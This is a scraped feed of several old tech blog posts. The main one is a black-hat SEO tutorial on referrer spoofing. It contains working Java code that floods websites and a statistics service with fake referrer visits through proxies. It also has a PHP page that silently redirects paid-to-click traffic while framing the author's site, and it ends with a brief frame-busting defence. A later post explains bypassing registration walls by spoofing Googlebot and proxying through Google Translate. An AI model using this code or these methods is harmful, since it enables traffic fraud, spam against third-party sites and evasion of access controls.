In the context of network security, a spoofing attack is a situation in which one person or program successfully masquerades as another by falsifying data and thereby gaining an illegitimate advantage [1]. Referrer spoofing is a specific type of spoofing attack. For example, some websites, especially pornographic paysites, allow access to their materials only from certain approved (login-) pages. This is enforced by checking the referrer header of the HTTP request. This referrer header however can be changed (known as "referrer spoofing" or "Ref-tar spoofing"), allowing users to gain unauthorized access to the materials (e.g. see this &lt;a href="http://www.think-techie.com/2010/06/access-any-website-or-forum-without.html"&gt;old post&lt;/a&gt;). &lt;br /&gt;
&lt;br /&gt;
&lt;h2&gt;Manipulation web traffic&lt;/h2&gt;&lt;br /&gt;
As I mentioned on my &lt;a href="http://www.think-techie.com/2011/05/get-free-web-traffic-using-white-hat.html" rel="nofollow"&gt;previous post&lt;/a&gt;, some of these techniques can be combined together to get free traffic. All you need to do is send spoofed traffic to some specific websites (e.g. specially to websites containing a top referrers list). Once you reach the top of that list, then you will start receiving natural traffic for free. Of course, if you don’t have a link in your website to that website, then the situation looks suspicions !!&lt;br /&gt;
&lt;br /&gt;
There are several ways that can be used to send traffic to a website.&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Traffic exchange&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
The traffic is real, and goes from your website. This is the honest way of doing it. However it requires you to have already a huge amount of visitors.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Fake visitors&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
This is the cheapest and fastest way of getting free traffic. However it doesn't always work. The only thing you need is an application that can establish a HTTP connecting to the website, using a spoofed referrer. For that you can use a very old library I developed long time ago, which is now available in &lt;a href="http://code.google.com/p/jagl/downloads/detail?name=JAGL-network-1.01.jar" rel="nofollow"&gt;Google Code&lt;/a&gt;. It's quite easy to use and it includes a cookies manager, connections using several proxies, etc.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;/** 
  * This class can be used to define a list of proxies e.g.
  * when you want to route your connection through proxies.
  */
ProxyManager proxy = new ProxyManager();

/** 
 * Add as many as you want, it will iterate them
 */
proxy.add(&amp;quot;proxy.domain.com&amp;quot;, 3128);

/** Activate this ProxySelector */
proxy.install();

/** If you need cookies for your connection */
Cookies cookies = new Cookies();

/** Setup the HTTP client  */
NetworkClient network = new NetworkClient(cookies);

/** or use defaults */
network = new NetworkClient();

/** Setup the HTTP client headers */
network.setUserAgent(&amp;quot;Mozilla/3.0 (Indy Library)&amp;quot;);
network.setReferer(&amp;quot;http://www.yourwebsite.com&amp;quot;);
Logging logger = network.getLogging();

/** Simply repeat the GET request */
String result = network.request(&amp;quot;http://www.target.com&amp;quot;);
if ( result != null &amp;amp;&amp;amp; !result.isEmpty() )
  logger.add(Level.FINE, NetworkClientTest.class, result);
else
  logger.add(Level.SEVERE, NetworkClientTest.class, 
                                     &amp;quot;Couldn&amp;#39;t connect!&amp;quot;);

/** 
 * If you need to go back to the previous ProxySelector.
 */
proxy.uninstall();
&lt;/pre&gt;&lt;br /&gt;
This flaw is possible only if the website doesn't track IPs. You should be careful if you don't want your website to be affiliated with unwanted websites.&lt;br /&gt;
&lt;br /&gt;
&lt;li&gt;&lt;b&gt;Redirect and spoof specific traffic sources&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Assuming the target website(s) do not check whenever it is displayed on a frame (note that this can be used against you) or not, then you can display your page to your users, and at the same time exchange traffic with several sites!! Unattenious users will not ever notice it. So, it was multiple benefits: the user visits your website, and your website status increases in several websites at the same time. Of course you can always improve this method by having a rotation mechanism, that gives more priority to websites where you rank lower.&lt;br /&gt;
&lt;br /&gt;
The following example redirects traffic from PTC programs, surfer programs to our target websites by  using just one frame. However you can adapt the code to display your website as well as other target sites.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;&amp;lt;?php 
  $referer = $_SERVER[&amp;#39;HTTP_REFERER&amp;#39;];
  $hostname = &amp;#39;http://www.think-techie.com&amp;#39;;
  if(strpos($referer, &amp;#39;autosurf&amp;#39;){
     $idx = rand ( 0, 2 );
     $links = array( &amp;#39;http://www.site-one.com&amp;#39;,
                     &amp;#39;http://www.site-two.com’);
?&amp;gt;

&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv=&amp;quot;Content-Type&amp;quot; 
      content=&amp;quot;text/html; charset=utf-8&amp;quot;&amp;gt;

&amp;lt;script language=Javascript&amp;gt;
  var ref;
  ref = document.referrer;
  window.location.href = &amp;#39;&amp;lt;?php echo $links[$idx]; ?&amp;gt;&amp;#39;;
&amp;lt;/script&amp;gt;

&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;iframe src =&amp;quot;&amp;lt;?php echo $hostname; ?&amp;gt;&amp;quot; 
        width=&amp;quot;100%&amp;quot; height=&amp;quot;100%&amp;quot;&amp;gt;
  &amp;lt;p&amp;gt;Your browser does not support iframes.&amp;lt;/p&amp;gt;
&amp;lt;/iframe&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;

&amp;lt;?php
  }
  else {
    header (&amp;#39;HTTP/1.1 301 Moved Permanently&amp;#39;);
    header (&amp;#39;Location: &amp;#39; . $hostname);
  }
?&amp;gt;
&lt;/pre&gt;&lt;br /&gt;
&lt;li&gt;&lt;b&gt;Exploit services&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
The easiest way of getting free traffic is by exploiting service flaws. Some of the most used services that provide statistics about visitors can be exploited in order to display your website on their list.&lt;br /&gt;
&lt;pre class="c#" name="code"&gt;/** The site your want to promote */
private final String yourWebsite;

/** The service you want to exploit */
private final String flawService;

/** Your niche keywords */
private final String [] keywords;

/** HTTP connection handler */
private NetworkClient network;

/** Default constructor */
public ReferrerAttack(
                         String yourWebsite, 
                         String flawService,
                         String [] keywords)
{
  this.yourWebsite = yourWebsite;
  this.flawService = flawService;
  this.keywords = keywords;
 
  /** setup HTTP connection headers */
  network = new NetworkClient();
  network.setUserAgent(&amp;quot;Mozilla/3.0 (Indy Library)&amp;quot;);
  network.setReferer(&amp;quot;http://&amp;quot; + yourWebsite);
}

public void start() {
  Logging log = network.getLogging();
  log.add(Level.INFO, this.getClass(), 
                       &amp;quot;Searching for possible targets ...&amp;quot;);
  ArrayList&amp;lt;String&amp;gt; results = search(-1);
 
  log.add(Level.INFO, this.getClass(), 
                       &amp;quot;Selecting similar targets ...&amp;quot;);
  ArrayList&amp;lt;Target&amp;gt; targets = filter(results);
 
  log.add(Level.INFO, this.getClass(), 
                      &amp;quot;Performing attack ...&amp;quot;); 
  attack(targets, 1000);
 
  log.add(Level.INFO, this.getClass(), 
                      &amp;quot;Checking for results ...&amp;quot;);
  checker(targets);
}

/**
 * Search websites having outgoing links to this service 
 * @param limit Limit the number of results
 * @return Return a list a possible targets
 */
public ArrayList&amp;lt;String&amp;gt; search(int limit) {
  ArrayList&amp;lt;String&amp;gt; targets = new ArrayList&amp;lt;String&amp;gt;();
 
  /** Do not search more then 50 pages */
  for (int i = 0; i &amp;lt; 50; i += 10) {
    String google=&amp;quot;http://www.google.com/search?q=link%3A&amp;quot; +
                      flawService + &amp;quot;&amp;amp;start=&amp;quot; + i;
    String out = network.request(google);
    String regex=&amp;quot;&amp;lt;h3 class([^&amp;gt;]+)&amp;gt;&amp;lt;a href([^hH]+)([^\&amp;quot;]+)&amp;quot;;
    Pattern p = Pattern.compile(regex, Pattern.MULTILINE);
    Matcher m = p.matcher(out);
    while (m.find()) {
      try {
         if (limit &amp;gt; 0 &amp;amp;&amp;amp; targets.size() &amp;gt;= limit)
           return targets;

           String url = m.group(3);
           URL r = new URL(url);
           url = r.getProtocol() + &amp;quot;://&amp;quot; + r.getAuthority();
           if (!targets.contains(url))
             targets.add(url);
      }
      catch (MalformedURLException e) {
        e.printStackTrace();
      }
   }
 }
 return targets;
} 

/**
 * Filter similar sites. So you stay inside of your niche
 * @param targets List of all targets
 * @return Possible good targets
 */
public ArrayList&amp;lt;Target&amp;gt; filter(ArrayList&amp;lt;String&amp;gt; targets){
 ArrayList&amp;lt;Target&amp;gt; filter = new ArrayList&amp;lt;Target&amp;gt;();
 for(String url : targets){
  String html = network.request(url);
  if(html == null) continue;
  Matcher regx = Pattern.compile(&amp;quot;&amp;lt;title&amp;gt;([^&amp;lt;]+)&amp;quot;, Pattern.MULTILINE).matcher(html);

  String title = &amp;quot;&amp;quot;;
  if( regx.find() ) title = regx.group(1);
  
  regx = Pattern.compile(&amp;quot;write_ref\\(([\\d]+)\\);&amp;quot;, Pattern.MULTILINE).matcher(html);
  if( regx.find() ){
   for(String keyword : keywords){
    String[] tokens = title.split(&amp;quot; &amp;quot;);
    boolean tokenFound = false;
    for(String t : tokens){
     if(t.contains(keyword)){
      tokenFound = true;
      break;
     }
    }
    /** SPAM only sites containing relevant keywords */
    if(url.contains(keyword) || tokenFound)  
     filter.add(new Target(title, url, regx.group(1)));
   }
  }
 }
 return filter;
}

/**
 * Perform the attack to each of these sites
 * @param targets List of sites
 * @param hits Number of fake visits
 */
public void attack(ArrayList&amp;lt;Target&amp;gt; targets, int hits){
 Logging log = network.getLogging();
 for (int i = 0; i &amp;lt; targets.size(); i++) {
  Target t = targets.get(i);
  int n = hits;
  String url = t.genAttackURL();
  log.add(Level.INFO, this.getClass(), &amp;quot; + Attacking &amp;quot; +
                                            t.getURL());
  while (n &amp;gt; 0) {
   String text = network.request(url);
   if (text == null) {
    log.add(Level.WARNING, this.getClass(), &amp;quot;Site &amp;quot; + 
                                url + &amp;quot; is not reachable&amp;quot;); 
    break;
   }
   n--;
  }
  log.add(Level.INFO, this.getClass(), t.getURL()+&amp;quot; [Done]&amp;quot;);
 }
}

/**
 * Check if your site is top referrer for some target
 * @param targets List of target sites
 */
public void checker(ArrayList&amp;lt;Target&amp;gt; targets){
 for(Target target : targets){
  String content = network.request(target.getURL());
  if (content != null) {
   boolean contains = content.contains(yourWebsite);
   network.getLogging().add(Level.INFO, this.getClass(), &amp;quot;[&amp;quot; + contains + &amp;quot;] &amp;quot; + target.url); 
  }
 } 
}

/**
 * Object holding the information about a target site
 */

class Target {
 
 private String url, title, uid;
 
 public Target(String title, String url, String uid){
  this.url = url;
  this.title = title;
  this.uid = uid;
 }
 
 public String getURL(){
  return url;
 }
 
 public String getTitle(){
  return title;
 }
 
 public String getUID(){
  return uid;
 }
 
 public String genAttackURL(){
  return &amp;quot;http://&amp;quot; + flawService + &amp;quot;/link.php?e_uid=&amp;quot; + uid
    + &amp;quot;&amp;amp;e_ref=&amp;quot; + yourWebsite + &amp;quot;&amp;amp;e_loc=&amp;quot; + url + &amp;quot;&amp;amp;e_title=&amp;quot;
    + title;
 }
}
&lt;/pre&gt;&lt;/ul&gt;
&lt;br&gt;
&lt;h2&gt;How to protect your website&lt;/h2&gt;&lt;br&gt;

If you have a top referrer list, make sure you ensure that only unique IP are tracked and ignore users visiting through proxies. Besides that, do not allow your site to be displayed inside iframes. However the following code doesn't protect your website from all possible scenarios, at least you will avoid the most common ones. &lt;pre class="c#" name="code"&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;
    if (top.location != self.location)
    top.location = self.location;
&amp;lt;/script&amp;gt;
&lt;/pre&gt;&lt;br&gt;
&lt;h2&gt;References&lt;/h2&gt;&lt;br&gt;
[1] Spoofing attack. Wikipedia. &lt;br&gt; 
[2] 30 Black Hat SEO Techniques You Can Use Ethically. http://www.seoptimise.com&lt;br&gt;&lt;br&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-2558104137762742367?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SEdIZkr8xfC3mjIdQOCFnqz7id0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SEdIZkr8xfC3mjIdQOCFnqz7id0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SEdIZkr8xfC3mjIdQOCFnqz7id0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SEdIZkr8xfC3mjIdQOCFnqz7id0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/2558104137762742367/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=2558104137762742367" title="0 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/2558104137762742367?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/2558104137762742367?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/Z8AT-RhK79Y/http-spoofing-and-cloaking-black-hat.html" title="HTTP Spoofing and Cloaking - Black Hat SEO" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>0</thr:total><feedburner:origLink>http://www.think-techie.com/2011/07/http-spoofing-and-cloaking-black-hat.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0ANQHczeyp7ImA9WhZXE0k.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-659737811698113074</id><published>2011-05-01T19:49:00.001+02:00</published><updated>2011-05-02T17:23:11.983+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-02T17:23:11.983+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="SEO" /><category scheme="http://www.blogger.com/atom/ns#" term="Internet" /><title>Get free web traffic using white hat and black hat techniques</title><content type="html">&lt;div dir="ltr" style="text-align: justify;" trbidi="on"&gt;&lt;b&gt;Search engine optimization (SEO)&lt;/b&gt; is the process of improving the visibility of a website in search engines such as Google, Yahoo or Bing, via un-paid search results [1]. Yet, it means a bit more than that. For example, a frequent problem associated to SEO techniques is that you can't get traffic once and then have its benefits forever. Getting traffic is an unending task that requires your constant attention in order to keep it. Besides that, relying too heavily on some source of traffic leaves your business vulnerable to their whims and dramatic shifts of costs. Some techniques to obtain and maintain free traffic are listed below:&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Optimize your site for search engines&lt;/b&gt;. Search engines have always been a major way to get good traffic for free. That is why you really need to learn how they work, and optimize the website to rank well for the keywords you target. Besides that, you should also facilitate all indexing activities of search engines (e.g. creation of sitemap.xml). For more details about these optimizations read the extensive literature available on the internet (e.g. &lt;a href="http://www.xml-sitemaps.com/" rel="nofollow"&gt;Build your Site Map online&lt;/a&gt;). &lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Update your web page content frequently&lt;/b&gt;. One of the first steps in getting traffic for free is trivial but vital – get great content and frequently update it. In terms of SEO, content is king. If your content is good and frequently updated you will not only build a loyal audience of recurring visitors, who will often come to see what is new, but search engines will also love your site [2]. Black hat techniques exist to exploit this concept. The most famous one goes through the use of scripts that rotates articles in order to exploit some specific keywords. However I strongly discourage it.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Take advantage of social bookmarking sites&lt;/b&gt;. Social bookmarking sites such as Digg, Delicious or Google bookmarks are another powerful and easy way to get traffic for free.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Use your Twitter and Facebook accounts&lt;/b&gt;. Social networks are excellent to improve your website traffic. If you are popular on networks, such as Twitter or Facebook, the traffic you get from there can easily surpass the traffic from Google or any other search engine. It is true that building a large network of targeted followers on Twitter and supporters on Facebook takes a lot of time and effort but generally the result is worth [2].&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Use any chance to promote your site for free&lt;/b&gt;. Free promotion is always welcome, so don't neglect it. There are many ways to promote your site for free and some of the most popular ones include free classified ads, submissions to directories, inclusion in various listings, etc. It is true that not all free ways to promote your site work well but if you select the right places to promote your site for free, this can also result in tons of traffic [2].&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Create a free product or service&lt;/b&gt;. Content drives most traffic when you offer something useful. There are many types of useful content you can create and they largely depend on the niche of your site. You can have articles with tons of advice, or short tips but one of the most powerful ways to get traffic is to create a free product or service. When this product or service gets popular and people start visiting your site, chances are that they will visit the other sections of the site as well.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Use viral content&lt;/b&gt;. Free products and services are great for getting free traffic to your site and one of the best varieties in this aspect is viral content. Viral content is called so because it distributes like a virus – i.e. when users like your content, they send it to their friends, post it on various sites, and promote it for free in many different ways. Viral content distributes on its own and your only task is to create it and submit it to a couple of popular sites. After that users pick it and distribute it for you. Viral content can be a hot video or a presentation but it can also be a good old article or an image.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Use offline promotion&lt;/b&gt;. Offline promotion is frequently forgotten but it is also a way to get traffic for free. Yes, computers are everywhere and many people spend more time online than offline but still life hasn't moved completely on the Web. Offline promotion is also very powerful and if you know how to use it, this can also bring you many visitors. Some of the traditional offline ways to promote your site include printing its URL on your company's business cards and souvenirs or sticking it on your company vehicles. You can also start selling T-shirts and other merchandise with your logo and this way make your brand more popular [2].&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Include your URL in your signature&lt;/b&gt;. URLs in forum signatures are also a way to get traffic for free. There are forums, which get lots of visitors a day and if you are a popular user on such a forum, you can use it for your benefit. When you post on forums and people like your posts, they tend to click the link to your site on your signature to learn more about you. In rare cases you might be able to post a deep link (i.e. a link to an internal page of the site) rather than a link to your homepage and this is also a way to focus attention to a particular page. Unfortunately, deep links are rarely allowed.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Use comments to promote your website&lt;/b&gt;. Forums and blogs can be excellent places to promote your website. The promotion remains subtle and is part of other useful content that you’ve added to the conversation. If you simply bombard a random forum with your URLs you will be banned. Similarly, if you post pointless comments as badly disguised self-promotion your posts will likely be ignored or deleted.&lt;br /&gt;
&lt;br /&gt;
The best method is to find a few high traffic blogs and forums in your market and spend some time there reading and familiarizing yourself with the discussion. Start replying to posts with useful remarks so that you gradually build a reputation as a genuine and helpful contributor. Once you have established yourself as a valuable member, people will be much more interested in seeing what else you have to say in your website (even if it's not related with your website).&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Submit articles to articles directories&lt;/b&gt;. Article directory are places where people can submit their articles. Then articles are then free for anyone to download or reproduce, provided that the author information and any link the author has inserted into the article remain intact. Directories benefit both parts: the author gets the article distributed around the internet for free, earning backlinks and traffic in the process while the person using the article gets free content for their website [3].&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Get links with other sites in your niche&lt;/b&gt;. Another way to get  traffic for free is from other sites in your niche. Getting links with  other sites in your niche is also good for SEO, especially if you manage  to get links without the famous nofollow attribute. But even if the  links are nofollow (i.e. they are useless for SEO), they still help to  get traffic to your site. If you manage to put your link in a visible  place on a site with high volumes of traffic, you can get thousands of  hits from this link alone. However, be careful while exchanging links, because linking to bad neighbors or building backlinks to quickly, may get you penalized.&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Exploit website’s top referrers list&lt;/b&gt;. Frequently, webmasters exploit PTR (Paid To Read) and PTC (Paid To Click) services as an intermediary technique to archive traffic. In most cases they expose their websites to these services, and users are then paid to read it. However, it’s a fast way to expose your website to a large audience, it may not target your niche. Thus, they will read it because they are paid to do it, but the conversion ratio will be low. Consequently, some webmasters use these services as an illegal way to do referrer spoofing attacks on website’s top referrers list, which may be extremely difficult to detect. &lt;br /&gt;
&lt;br /&gt;
Note that, the word “pay” means the fast way to use these services, since they usually offer the free option: you read or click in other sites to earn credits, and then you can use them to get traffic. &lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
After this short introduction, we learned that getting traffic for free is a vast topic and it is not possible to list all the ways to do it. However, if you know the most important ways – i.e. the ways we discussed in this article and you apply them properly, it is guaranteed that you will be able to get lots of traffic for free. On my next post I will explain how some black hat techniques work in detail, and what you can do to protect your website from it. So stay tuned.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;References&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
[1] Search Engine Optimization (SEO). Wikipedia.&lt;br /&gt;
&lt;br /&gt;
[2] 10 Ways to Get Traffic for Free. Webconfs.com - Seo tools and webmaster utilities.&lt;br /&gt;
&lt;br /&gt;
[3] How to get traffic to your website using alternative methods. Affilorama.com&lt;br /&gt;
http://www.webconfs.com/how-to-get-traffic-article-30.php&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-659737811698113074?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/uuddBTt2l8o4GHq-WlvBjYhi60o/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/uuddBTt2l8o4GHq-WlvBjYhi60o/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/uuddBTt2l8o4GHq-WlvBjYhi60o/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/uuddBTt2l8o4GHq-WlvBjYhi60o/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/659737811698113074/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=659737811698113074" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/659737811698113074?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/659737811698113074?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/LD3TM9wREsY/get-free-web-traffic-using-white-hat.html" title="Get free web traffic using white hat and black hat techniques" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.think-techie.com/2011/05/get-free-web-traffic-using-white-hat.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CEMCRnozfCp7ImA9Wx5SGUo.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-1784066843567211112</id><published>2010-08-14T15:15:00.089+02:00</published><updated>2010-08-16T17:27:47.484+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-16T17:27:47.484+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><title>BlackBerry encryption is too secure</title><content type="html">&lt;div style ="text-align:justify"&gt;The encryption developed by BlackBerry’s manufacturers, designed to ensure secrecy during corporate business deals is now facing some serious privacy issues. &lt;br /&gt;
&lt;br /&gt;
The Indian government’s internal security and intelligence services cannot break the encryption of the device. Thus, they are unable to monitor data in the interests of national security, which makes countering terror threats and national security matters difficult - especially for a region which faces constant threats and attacks from domestic Maoist insurgents and extremist Islamic groups.&lt;br /&gt;
&lt;br /&gt;
Bappa Majumdar reports:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote&gt;Indian authorities, who met with RIM officials on Friday, also pledged to go after other companies — including Google and Skype — to protect the country from cyber-spying and attacks planned over the Internet.&lt;br /&gt;
&lt;br /&gt;
RIM faces an August 31 deadline to give authorities the means to read email and instant messages sent over the BlackBerry. New Delhi says it will pull the plug if RIM won’t comply, threatening its future in the world’s fastest-growing telecoms market.&lt;br /&gt;
&lt;/blockquote&gt;&lt;br /&gt;
The BBC also confirmed via the United Arab Emirates’s state media that come October, all half a million BlackBerry users in the region will have some services (including Messenger, email and web browsing) suspended unless a "solution compatible with local laws is reached", amid national security concerns.&lt;br /&gt;
&lt;br /&gt;
Read more on Reuters.com.&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3644149452090630665-1784066843567211112?l=www.think-techie.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/E87F1-4Zn6iWlLYdl52akdD86Uk/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/E87F1-4Zn6iWlLYdl52akdD86Uk/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/E87F1-4Zn6iWlLYdl52akdD86Uk/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/E87F1-4Zn6iWlLYdl52akdD86Uk/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;</content><link rel="replies" type="application/atom+xml" href="http://www.think-techie.com/feeds/1784066843567211112/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3644149452090630665&amp;postID=1784066843567211112" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/1784066843567211112?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3644149452090630665/posts/default/1784066843567211112?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/ThinkTechie/~3/W5p1VRH4kUw/blackberry-encryption-is-too-secure.html" title="BlackBerry encryption is too secure" /><author><name>Bruno Simões</name><uri>https://profiles.google.com/110821408735197982407</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh3.googleusercontent.com/-fyBL72qXHek/AAAAAAAAAAI/AAAAAAAALhM/hwxLIDUhRgg/s512-c/photo.jpg" /></author><thr:total>1</thr:total><feedburner:origLink>http://www.think-techie.com/2010/08/blackberry-encryption-is-too-secure.html</feedburner:origLink></entry><entry gd:etag="W/&quot;CUcCQnozfSp7ImA9Wx5TGUk.&quot;"><id>tag:blogger.com,1999:blog-3644149452090630665.post-8801138658060404268</id><published>2010-06-22T17:34:00.009+02:00</published><updated>2010-08-04T19:31:03.485+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2010-08-04T19:31:03.485+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="Security" /><category scheme="http://www.blogger.com/atom/ns#" term="Tips and Tricks" /><category scheme="http://www.blogger.com/atom/ns#" term="Hacking" /><title>Access Any Website Or Forum Without Registering</title><content type="html">&lt;div style="text-align:justify"&gt;Let's imagine the following scenario: We are happily searching on Google and suddenly we find something really interesting however, when we try to open the URL, a different page is shown asking us to kindly register. Now we can ask to ourselves: Why Google can see this page ? Is it registered at every forum or web page in the web ? &lt;br /&gt;
&lt;br /&gt;
The answer is quite simple: all websites and forums will block unregistered users, but usually they won’t block Google Bot. Consequently, these pages can be found using the Google search engine or Google cache system. Same applies to any other search engine. &lt;br /&gt;
&lt;br /&gt;
Probably the reader is now wondering: "If I spoof my user agent to that of Google Bot, then I can freely browse any website or forum without registering". First, this is not true for every website. However, there are plenty of popular sites out their that cloak content which is normally only available to paying members or when the registration is free (usually it doesn't work with paid porn websites!). Furthermore, doing it may also be against the terms of service of the site you are visiting.&lt;br /&gt;
&lt;br /&gt;
To prevent this, some websites may also use other mechanisms that can determine if you are or not a bot (e.g. IP address, User Agent cloaking, Javascript and cookie detection, and referer detection). &lt;br /&gt;
&lt;br /&gt;
So, how do you beat all 5 major types of cloaking?&lt;br /&gt;
&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;b&gt;Beat IP Delivery&lt;/b&gt;: Use Google Translate as a Proxy, translating from any language to the original website language. The goal here, is to use Google’s IP address, so that if someone is cloaking using IP delivery, they will still assume you are Google. Other proxies may not fall into the same c-block range as Google’s, making you less likely to succeed. However it may work as well.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Notice:&lt;/b&gt; If you use Google Translate, the Google's IP address will shows up in the REMOTE_ADDR field of $_SERVER variable in PHP. However your IP address is still accessible in an extra header called HTTP_X_FORWARDED_FOR, but the vast majority of sites do not check for this.&lt;br /&gt;
&lt;br /&gt;
&lt;/li&gt;
